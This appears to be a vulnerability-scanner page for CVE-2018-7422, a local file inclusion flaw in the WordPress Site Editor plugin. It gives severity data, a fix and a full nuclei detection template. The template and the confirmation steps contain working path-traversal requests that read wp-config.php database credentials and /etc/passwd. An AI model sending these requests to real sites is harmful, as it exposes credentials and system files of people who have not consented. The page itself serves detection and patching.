WordPress Site Editor <=1.1.1 - Local File Inclusion

highseverity

7.5CVSS score

62.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system.

Fix

Update WordPress Site Editor plugin to the latest version to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config… ; GET {{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
Positive when: contains "DB_NAME" and "DB_PASSWORD" OR matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2018-7422 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-7422

info:
  name: WordPress Site Editor <=1.1.1 - Local File Inclusion
  author: LuskaBol,0x240x23elu
  severity: high
  description: |
    WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system.
  remediation: |
    Update WordPress Site Editor plugin to the latest version to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44340
    - http://seclists.org/fulldisclosure/2018/Mar/40
    - https://wpvulndb.com/vulnerabilities/9044
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7422
    - https://github.com/El-Palomo/SYMFONOS
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-7422
    cwe-id: CWE-22
    epss-score: 0.6225
    epss-percentile: 0.99189
    cpe: cpe:2.3:a:siteeditor:site_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: siteeditor
    product: site_editor
    framework: wordpress
  tags: cve2018,cve,wordpress,wp-plugin,lfi,edb,seclists,siteeditor,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php'
      - "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

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